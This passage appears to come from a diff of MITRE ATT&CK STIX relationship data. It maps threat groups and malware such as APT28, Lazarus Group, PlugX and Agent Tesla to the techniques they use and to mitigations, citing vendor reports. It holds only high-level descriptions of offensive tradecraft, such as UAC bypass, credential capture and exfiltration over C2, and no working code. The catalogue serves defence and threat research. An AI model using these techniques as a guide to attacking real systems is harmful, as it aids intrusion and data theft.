"Symantec Volgmer Aug 2014" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--a403648d-4c23-46bd-9688-1face1407b42", + "description": "[SOUNDBITE](https://attack.mitre.org/software/S0157) communicates via DNS for C2.(Citation: FireEye APT32 May 2017)", + "target_ref": "attack-pattern--1996eef1-ced3-4d7f-bf94-33298cabbf72", + "modified": "2020-03-17T02:37:58.945Z", + "source_ref": "malware--9ca488bd-9587-48ef-b923-1743523e63b2", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2017-12-14T16:46:06.044Z", + "external_references": [ + { + "url": "https://www.fireeye.com/blog/threat-research/2017/05/cyber-espionage-apt32.html", + "description": "Carr, N.. (2017, May 14). Cyber Espionage is Alive and Well: APT32 and the Threat to Global Corporations. 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(2018, July 25). Leafminer: New Espionage Campaigns Targeting Middle Eastern Regions. Retrieved August 28, 2018.", + "url": "https://www.symantec.com/blogs/threat-intelligence/leafminer-espionage-middle-east" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--720be590-5ea0-43b6-8360-fa75dd4d1a67", + "description": "After compromising a victim, [Poseidon Group](https://attack.mitre.org/groups/G0033) discovers all running services.(Citation: Kaspersky Poseidon Group)", + "target_ref": "attack-pattern--322bad5a-1c49-4d23-ab79-76d641794afa", + "modified": "2020-03-18T15:34:54.808Z", + "source_ref": "intrusion-set--7ecc3b4f-5cdb-457e-b55a-df376b359446", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2017-05-31T21:33:27.070Z", + "external_references": [ + { + "url": "https://securelist.com/poseidon-group-a-targeted-attack-boutique-specializing-in-global-cyber-espionage/73673/", + "description": "Kaspersky Lab's Global Research and Analysis Team. (2016, February 9). Poseidon Group: a Targeted Attack Boutique specializing in global cyber-espionage. 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Retrieved November 5, 2018.", + "source_name": "CIRCL PlugX March 2013" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--79672f1b-d7a9-494e-9c0b-82eadb88389a", + "description": "[Dragonfly 2.0](https://attack.mitre.org/groups/G0074) identified and browsed file servers in the victim network, sometimes , viewing files pertaining to ICS or Supervisory Control and Data Acquisition (SCADA) systems.(Citation: US-CERT TA18-074A)(Citation: US-CERT APT Energy Oct 2017)", + "target_ref": "attack-pattern--3489cfc5-640f-4bb3-a103-9137b97de79f", + "modified": "2019-03-22T20:13:49.462Z", + "source_ref": "intrusion-set--76d59913-1d24-4992-a8ac-05a3eb093f71", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "url": "https://www.us-cert.gov/ncas/alerts/TA18-074A", + "description": "US-CERT. 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Retrieved January 22, 2016.", + "source_name": "Palo Alto CVE-2015-3113 July 2015" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--8b4fd69e-a3c6-4721-9aed-d8235a93672e", + "description": "[Cobalt Group](https://attack.mitre.org/groups/G0080) has bypassed UAC.(Citation: Group IB Cobalt Aug 2017)", + "target_ref": "attack-pattern--120d5519-3098-4e1c-9191-2aa61232f073", + "modified": "2019-07-26T23:38:33.707Z", + "source_ref": "intrusion-set--dc6fe6ee-04c2-49be-ba3d-f38d2463c02a", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "source_name": "Group IB Cobalt Aug 2017", + "description": "Matveeva, V. (2017, August 15). Secrets of Cobalt. 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Retrieved August 18, 2018.", + "url": "https://securelist.com/luckymouse-hits-national-data-center/86083/" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--152f2412-dbba-48b7-bbe9-612798f3ac23", + "description": "[Bisonal](https://attack.mitre.org/software/S0268) deletes its dropper and VBS scripts from the victim\u2019s machine.(Citation: Unit 42 Bisonal July 2018)(Citation: Kaspersky CactusPete Aug 2020)", + "target_ref": "attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c", + "modified": "2021-10-17T16:05:26.918Z", + "source_ref": "malware--65ffc206-d7c1-45b3-b543-f6b726e7840d", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "url": "https://researchcenter.paloaltonetworks.com/2018/07/unit42-bisonal-malware-used-attacks-russia-south-korea/", + "description": "Hayashi, K., Ray, V. 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Retrieved May 5, 2021.", + "source_name": "Kaspersky CactusPete Aug 2020" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--cb297293-d9bb-484a-a9fb-b7b09477d38f", + "description": "[Bankshot](https://attack.mitre.org/software/S0239) exfiltrates data over its C2 channel.(Citation: McAfee Bankshot)", + "target_ref": "attack-pattern--92d7da27-2d91-488e-a00c-059dc162766d", + "modified": "2020-02-18T03:40:29.876Z", + "source_ref": "malware--1f6e3702-7ca1-4582-b2e7-4591297d05a8", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "url": "https://securingtomorrow.mcafee.com/mcafee-labs/hidden-cobra-targets-turkish-financial-sector-new-bankshot-implant/", + "description": "Sherstobitoff, R. (2018, March 08). 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Retrieved July 13, 2017.", + "url": "https://www.secureworks.com/research/bronze-union" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--6a0f3ebb-c805-402f-bb2e-aac2f8d174fa", + "description": "[Downdelph](https://attack.mitre.org/software/S0134) bypasses UAC to escalate privileges by using a custom \u201cRedirectEXE\u201d shim database.(Citation: ESET Sednit Part 3)", + "target_ref": "attack-pattern--120d5519-3098-4e1c-9191-2aa61232f073", + "modified": "2019-10-15T18:00:19.404Z", + "source_ref": "malware--08d20cd2-f084-45ee-8558-fa6ef5a18519", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2017-12-14T16:46:06.044Z", + "external_references": [ + { + "url": "http://www.welivesecurity.com/wp-content/uploads/2016/10/eset-sednit-part3.pdf", + "description": "ESET. (2016, October). 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Retrieved November 2, 2018.", + "url": "https://research.nccgroup.com/2018/04/17/decoding-network-data-from-a-gh0st-rat-variant/" + }, + { + "url": "https://cybersecurity.att.com/blogs/labs-research/the-odd-case-of-a-gh0strat-variant", + "description": "Quinn, J. (2019, March 25). The odd case of a Gh0stRAT variant. Retrieved July 15, 2020.", + "source_name": "Gh0stRAT ATT March 2019" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--cb67b57d-2ab3-4971-9b8d-83768df36df0", + "description": "[PlugX](https://attack.mitre.org/software/S0013) decompresses and decrypts itself using the Microsoft API call RtlDecompressBuffer.(Citation: CIRCL PlugX March 2013)", + "target_ref": "attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c", + "modified": "2019-04-19T15:08:15.827Z", + "source_ref": "malware--64fa0de0-6240-41f4-8638-f4ca7ed528fd", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2019-01-29T18:17:59.152Z", + "external_references": [ + { + "url": "http://circl.lu/assets/files/tr-12/tr-12-circl-plugx-analysis-v1.pdf", + "description": "Computer Incident Response Center Luxembourg. (2013, March 29). Analysis of a PlugX variant. Retrieved November 5, 2018.", + "source_name": "CIRCL PlugX March 2013" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--06dded4b-f28c-45d3-8dc6-097a9a4a3cd6", + "description": "[Agent Tesla](https://attack.mitre.org/software/S0331) can steal data from the victim\u2019s clipboard.(Citation: Talos Agent Tesla Oct 2018)(Citation: Fortinet Agent Tesla April 2018)(Citation: Fortinet Agent Tesla June 2017)(Citation: Bitdefender Agent Tesla April 2020)", + "target_ref": "attack-pattern--30973a08-aed9-4edf-8604-9084ce1b5c4f", + "modified": "2020-05-20T13:38:06.936Z", + "source_ref": "malware--e7a5229f-05eb-440e-b982-9a6d2b2b87c8", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2019-01-29T18:44:05.069Z", + "external_references": [ + { + "source_name": "Talos Agent Tesla Oct 2018", + "description": "Brumaghin, E., et al. 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Retrieved November 5, 2018.", + "source_name": "Fortinet Agent Tesla June 2017" + }, + { + "url": "https://labs.bitdefender.com/2020/04/oil-gas-spearphishing-campaigns-drop-agent-tesla-spyware-in-advance-of-historic-opec-deal/", + "description": "Arsene, L. (2020, April 21). Oil & Gas Spearphishing Campaigns Drop Agent Tesla Spyware in Advance of Historic OPEC+ Deal. Retrieved May 19, 2020.", + "source_name": "Bitdefender Agent Tesla April 2020" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--cae6319d-e6d4-4d59-ba65-09ac462ef51e", + "description": "[UBoatRAT](https://attack.mitre.org/software/S0333) has used a custom command and control protocol to communicate with C2. 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Retrieved December 27, 2018.", + "url": "https://cdn2.hubspot.net/hubfs/3354902/Cybereason%20Labs%20Analysis%20Operation%20Cobalt%20Kitty.pdf" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--50f68fb8-1e59-4b3a-b389-9c2797f4d347", + "description": "[FIN4](https://attack.mitre.org/groups/G0085) has used Tor to log in to victims' email accounts.(Citation: FireEye Hacking FIN4 Dec 2014)", + "target_ref": "attack-pattern--a782ebe2-daba-42c7-bc82-e8e9d923162d", + "modified": "2019-04-18T20:19:49.250Z", + "source_ref": "intrusion-set--d0b3393b-3bec-4ba3-bda9-199d30db47b6", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2019-01-31T02:01:45.573Z", + "external_references": [ + { + "source_name": "FireEye Hacking FIN4 Dec 2014", + "description": "Vengerik, B. et al.. (2014, December 5). Hacking the Street? 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Retrieved December 17, 2018.", + "url": "https://www.fireeye.com/current-threats/threat-intelligence-reports/rpt-fin4.html" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--0c0b4142-96e7-440b-a01f-f2bda05649b1", + "description": "A [BlackEnergy](https://attack.mitre.org/software/S0089) 2 plug-in uses WMI to gather victim host details.(Citation: Securelist BlackEnergy Feb 2015)", + "target_ref": "attack-pattern--01a5a209-b94c-450b-b7f9-946497d91055", + "modified": "2019-06-24T17:08:51.686Z", + "source_ref": "malware--54cc1d4f-5c53-4f0e-9ef5-11b4998e82e4", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2017-12-14T16:46:06.044Z", + "external_references": [ + { + "url": "https://securelist.com/be2-extraordinary-plugins-siemens-targeting-dev-fails/68838/", + "description": "Baumgartner, K. and Garnaeva, M.. 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Retrieved March 24, 2016.", + "source_name": "Securelist BlackEnergy Feb 2015" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--e432b3bc-5539-40e5-bce2-3ba6f463b571", + "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18", + "modified": "2021-08-23T20:44:32.154Z", + "source_ref": "course-of-action--2ace01f8-67c8-43eb-b7b1-a7b9f1fe67e1", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2017-05-31T21:33:27.026Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--71a8ae5e-3a78-49b5-9857-e202d636cedf", + "description": "[APT32](https://attack.mitre.org/groups/G0050) has used scheduled task raw XML with a backdated timestamp of June 2, 2016. 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Retrieved June 18, 2017.", + "url": "https://www.fireeye.com/blog/threat-research/2017/05/cyber-espionage-apt32.html" + }, + { + "source_name": "ESET OceanLotus Mar 2019", + "description": "Dumont, R. (2019, March 20). Fake or Fake: Keeping up with OceanLotus decoys. Retrieved April 1, 2019.", + "url": "https://www.welivesecurity.com/2019/03/20/fake-or-fake-keeping-up-with-oceanlotus-decoys/" + }, + { + "url": "https://www.welivesecurity.com/2019/04/09/oceanlotus-macos-malware-update/", + "description": "Dumont, R.. (2019, April 9). OceanLotus: macOS malware update. Retrieved April 15, 2019.", + "source_name": "ESET OceanLotus macOS April 2019" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--352d3d80-3a5f-454b-8190-fbac20979fc7", + "target_ref": "attack-pattern--06780952-177c-4247-b978-79c357fb311f", + "modified": "2020-03-17T13:03:26.198Z", + "source_ref": "course-of-action--2d704e56-e689-4011-b989-bf4e025a8727", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2017-12-14T16:46:06.044Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--4a851ebf-c021-4ab1-a02f-84b03d65fdda", + "description": "(Citation: Symantec Elderwood Sept 2012)", + "target_ref": "malware--73a4793a-ce55-4159-b2a6-208ef29b326f", + "modified": "2021-01-06T19:32:29.100Z", + "source_ref": "intrusion-set--03506554-5f37-4f8f-9ce4-0e9f01a1b484", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2018-04-18T17:59:24.739Z", + "external_references": [ + { + "source_name": "Symantec Elderwood Sept 2012", + "description": "O'Gorman, G., and McDonald, G.. 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Retrieved July 3, 2018.", + "url": "https://www.welivesecurity.com/wp-content/uploads/2018/01/ESET_Turla_Mosquito.pdf" + }, + { + "source_name": "ESET Turla Mosquito May 2018", + "description": "ESET Research. (2018, May 22). Turla Mosquito: A shift towards more generic tools. Retrieved July 3, 2018.", + "url": "https://www.welivesecurity.com/2018/05/22/turla-mosquito-shift-towards-generic-tools/" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--0219e940-6761-448c-a5a9-1f3e453b5f8a", + "description": "[Honeybee](https://attack.mitre.org/groups/G0072) has batch files that modify the system service COMSysApp to load a malicious DLL.(Citation: McAfee Honeybee)", + "target_ref": "attack-pattern--2959d63f-73fd-46a1-abd2-109d7dcede32", + "modified": "2020-04-16T19:41:40.590Z", + "source_ref": "intrusion-set--ebb73863-fa44-4617-b4cb-b9ed3414eb87", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "source_name": "McAfee Honeybee", + "description": "Sherstobitoff, R. (2018, March 02). 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Retrieved May 16, 2018.", + "url": "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/mcafee-uncovers-operation-honeybee-malicious-document-campaign-targeting-humanitarian-aid-groups/" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--b9b0e376-f249-432f-a0d3-dfa259b4757a", + "description": "[BUBBLEWRAP](https://attack.mitre.org/software/S0043) can communicate using SOCKS.(Citation: FireEye admin@338)", + "target_ref": "attack-pattern--c21d5a77-d422-4a69-acd7-2c53c1faa34b", + "modified": "2020-03-17T00:28:19.704Z", + "source_ref": "malware--123bd7b3-675c-4b1a-8482-c55782b20e2b", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2017-12-14T16:46:06.044Z", + "external_references": [ + { + "url": "https://www.fireeye.com/blog/threat-research/2015/11/china-based-threat.html", + "description": "FireEye Threat Intelligence. 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Retrieved June 18, 2017.", + "url": "https://www.fireeye.com/blog/threat-research/2017/05/cyber-espionage-apt32.html" + }, + { + "url": "https://github.com/danielbohannon/Invoke-Obfuscation", + "description": "Bohannon, D.. (2017, March 13). Invoke-Obfuscation - PowerShell Obfuscator. Retrieved June 18, 2017.", + "source_name": "GitHub Invoke-Obfuscation" + }, + { + "source_name": "ESET OceanLotus", + "description": "Folt\u00fdn, T. (2018, March 13). OceanLotus ships new backdoor using old tricks. Retrieved May 22, 2018.", + "url": "https://www.welivesecurity.com/2018/03/13/oceanlotus-ships-new-backdoor/" + }, + { + "source_name": "Cybereason Oceanlotus May 2017", + "description": "Dahan, A. (2017, May 24). OPERATION COBALT KITTY: A LARGE-SCALE APT IN ASIA CARRIED OUT BY THE OCEANLOTUS GROUP. Retrieved November 5, 2018.", + "url": "https://www.cybereason.com/blog/operation-cobalt-kitty-apt" + }, + { + "source_name": "Cybereason Cobalt Kitty 2017", + "description": "Dahan, A. (2017). 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Retrieved October 6, 2017.", + "source_name": "Mandiant FIN5 GrrCON Oct 2016" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--2e3b8b06-5148-4313-8b1b-d75789838c84", + "target_ref": "attack-pattern--a127c32c-cbb0-4f9d-be07-881a792408ec", + "modified": "2020-01-31T18:59:59.381Z", + "source_ref": "course-of-action--d2dce10b-3562-4d61-b2f5-7c6384b038e2", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2018-01-16T16:13:52.465Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--cb69217e-f063-4093-bcf0-f051ecd42e25", + "description": "[APT28](https://attack.mitre.org/groups/G0007) deployed the open source tool Responder to conduct NetBIOS Name Service poisoning, which captured usernames and hashed passwords that allowed access to legitimate credentials.(Citation: FireEye APT28)(Citation: FireEye APT28 Hospitality Aug 2017) [APT28](https://attack.mitre.org/groups/G0007) close-access teams have used Wi-Fi pineapples to intercept Wi-Fi signals and user credentials.(Citation: US District Court Indictment GRU Oct 2018)", + "target_ref": "attack-pattern--3257eb21-f9a7-4430-8de1-d8b6e288f529", + "modified": "2020-10-06T19:05:06.828Z", + "source_ref": "intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2018-01-16T16:13:52.465Z", + "external_references": [ + { + "url": "https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-apt28.pdf", + "description": "FireEye. (2015). APT28: A WINDOW INTO RUSSIA\u2019S CYBER ESPIONAGE OPERATIONS?. Retrieved August 19, 2015.", + "source_name": "FireEye APT28" + }, + { + "source_name": "FireEye APT28 Hospitality Aug 2017", + "description": "Smith, L. and Read, B.. (2017, August 11). APT28 Targets Hospitality Sector, Presents Threat to Travelers. Retrieved August 17, 2017.", + "url": "https://www.fireeye.com/blog/threat-research/2017/08/apt28-targets-hospitality-sector.html" + }, + { + "url": "https://www.justice.gov/opa/page/file/1098481/download", + "description": "Brady, S . (2018, October 3). Indictment - United States vs Aleksei Sergeyevich Morenets, et al.. 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Retrieved September 26, 2016.", + "url": "http://www.symantec.com/connect/blogs/buckeye-cyberespionage-group-shifts-gaze-us-hong-kong" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--520f5440-740f-4efe-850e-ea4db340aef1", + "description": "[Lazarus Group](https://attack.mitre.org/groups/G0032) malware IndiaIndia saves information gathered about the victim to a file that is uploaded to one of its 10 C2 servers. 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Retrieved February 25, 2016.", + "url": "https://www.operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Report.pdf" + }, + { + "url": "https://operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Loaders-Installers-and-Uninstallers-Report.pdf", + "description": "Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Loaders, Installers and Uninstallers Report. Retrieved March 2, 2016.", + "source_name": "Novetta Blockbuster Loaders" + }, + { + "source_name": "McAfee Lazarus Resurfaces Feb 2018", + "description": "Sherstobitoff, R. (2018, February 12). Lazarus Resurfaces, Targets Global Banks and Bitcoin Users. Retrieved February 19, 2018.", + "url": "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/lazarus-resurfaces-targets-global-banks-bitcoin-users/" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--c1600f3f-6c21-4c5b-82fe-a4514785f6bb", + "target_ref": "attack-pattern--3257eb21-f9a7-4430-8de1-d8b6e288f529", + "modified": "2021-04-02T17:51:59.392Z", + "source_ref": "course-of-action--46b7ef91-4e1d-43c5-a2eb-00fa9444f6f4", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2017-05-31T21:33:27.021Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--4f2e62d0-5345-45dc-9e9d-46bb11c5f35d", + "description": "[APT19](https://attack.mitre.org/groups/G0073) downloaded and launched code within a SCT file.(Citation: FireEye APT19)", + "target_ref": "attack-pattern--7385dfaf-6886-4229-9ecd-6fd678040830", + "modified": "2020-03-17T18:25:45.809Z", + "source_ref": "intrusion-set--fe8796a4-2a02-41a0-9d27-7aa1e995feb6", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "source_name": "FireEye APT19", + "description": "Ahl, I. (2017, June 06). Privileges and Credentials: Phished at the Request of Counsel. Retrieved May 17, 2018.", + "url": "https://www.fireeye.com/blog/threat-research/2017/06/phished-at-the-request-of-counsel.html" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--e1592867-e02f-4c1f-a9f2-1c60e25a1301", + "description": "After data is collected by [Stealth Falcon](https://attack.mitre.org/groups/G0038) malware, it is exfiltrated over the existing C2 channel.(Citation: Citizen Lab Stealth Falcon May 2016)", + "target_ref": "attack-pattern--92d7da27-2d91-488e-a00c-059dc162766d", + "modified": "2020-03-17T02:38:48.493Z", + "source_ref": "intrusion-set--894aab42-3371-47b1-8859-a4a074c804c8", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2017-05-31T21:33:27.074Z", + "external_references": [ + { + "url": "https://citizenlab.org/2016/05/stealth-falcon/", + "description": "Marczak, B. and Scott-Railton, J.. (2016, May 29). Keep Calm and (Don\u2019t) Enable Macros: A New Threat Actor Targets UAE Dissidents. Retrieved June 8, 2016.", + "source_name": "Citizen Lab Stealth Falcon May 2016" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--0dd74596-509c-4669-9d29-e1fb501c9c70", + "description": "[Catchamas](https://attack.mitre.org/software/S0261) creates three Registry keys to establish persistence by adding a [Windows Service](https://attack.mitre.org/techniques/T1543/003).(Citation: Symantec Catchamas April 2018)", + "target_ref": "attack-pattern--57340c81-c025-4189-8fa0-fc7ede51bae4", + "modified": "2021-02-09T14:51:14.723Z", + "source_ref": "malware--8d9e758b-735f-4cbc-ba7c-32cd15138b2a", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "url": "https://www-west.symantec.com/content/symantec/english/en/security-center/writeup.html/2018-040209-1742-99", + "description": "Balanza, M. (2018, April 02). Infostealer.Catchamas. Retrieved July 10, 2018.", + "source_name": "Symantec Catchamas April 2018" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--b4174e7a-3b60-4697-a006-84edb81622cd", + "description": "[Dark Caracal](https://attack.mitre.org/groups/G0070) spearphished victims via Facebook and Whatsapp.(Citation: Lookout Dark Caracal Jan 2018)", + "target_ref": "attack-pattern--f6ad61ee-65f3-4bd0-a3f5-2f0accb36317", + "modified": "2019-07-16T15:35:20.800Z", + "source_ref": "intrusion-set--8a831aaa-f3e0-47a3-bed8-a9ced744dd12", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "source_name": "Lookout Dark Caracal Jan 2018", + "description": "Blaich, A., et al. (2018, January 18). Dark Caracal: Cyber-espionage at a Global Scale. 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Retrieved December 20, 2017.", + "source_name": "FireEye APT34 Dec 2017" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--e8cb4430-db05-4029-b011-926a2ba17a4c", + "description": "[Winnti Group](https://attack.mitre.org/groups/G0044) looked for a specific process running on infected servers.(Citation: Kaspersky Winnti April 2013)", + "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580", + "modified": "2019-03-25T17:15:03.477Z", + "source_ref": "intrusion-set--c5947e1c-1cbc-434c-94b8-27c7e3be0fff", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2017-05-31T21:33:27.079Z", + "external_references": [ + { + "source_name": "Kaspersky Winnti April 2013", + "description": "Kaspersky Lab's Global Research and Analysis Team. (2013, April 11). Winnti. More than just a game. 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Retrieved April 11, 2018.", + "source_name": "FireEye Periscope March 2018" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--6a04ef8a-9521-4212-92be-85e092b82e24", + "description": "[Honeybee](https://attack.mitre.org/groups/G0072) adds collected files to a temp.zip file saved in the %temp% folder, then base64 encodes it and uploads it to control server.(Citation: McAfee Honeybee)", + "target_ref": "attack-pattern--1c34f7aa-9341-4a48-bfab-af22e51aca6c", + "modified": "2020-04-16T19:41:40.514Z", + "source_ref": "intrusion-set--ebb73863-fa44-4617-b4cb-b9ed3414eb87", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "source_name": "McAfee Honeybee", + "description": "Sherstobitoff, R. (2018, March 02). McAfee Uncovers Operation Honeybee, a Malicious Document Campaign Targeting Humanitarian Aid Groups. Retrieved May 16, 2018.", + "url": "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/mcafee-uncovers-operation-honeybee-malicious-document-campaign-targeting-humanitarian-aid-groups/" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--47835d17-73e1-427f-85b0-b55b610fa9ad", + "description": "(Citation: CrowdStrike Putter Panda)", + "target_ref": "malware--8e461ca3-0996-4e6e-a0df-e2a5bbc51ebc", + "modified": "2019-03-25T16:53:38.839Z", + "source_ref": "intrusion-set--5ce5392a-3a6c-4e07-9df3-9b6a9159ac45", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2017-05-31T21:33:27.059Z", + "external_references": [ + { + "source_name": "CrowdStrike Putter Panda", + "description": "Crowdstrike Global Intelligence Team. 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Retrieved June 18, 2017.", + "source_name": "FireEye APT32 May 2017" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--5dd257c0-c2cb-422a-9991-93ff667c5ad6", + "description": "[FALLCHILL](https://attack.mitre.org/software/S0181) can collect operating system (OS) version information, processor information, system name, and information about installed disks from the victim.(Citation: US-CERT FALLCHILL Nov 2017)", + "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1", + "modified": "2020-03-27T20:45:20.253Z", + "source_ref": "malware--fece06b7-d4b1-42cf-b81a-5323c917546e", + "created_by_ref": 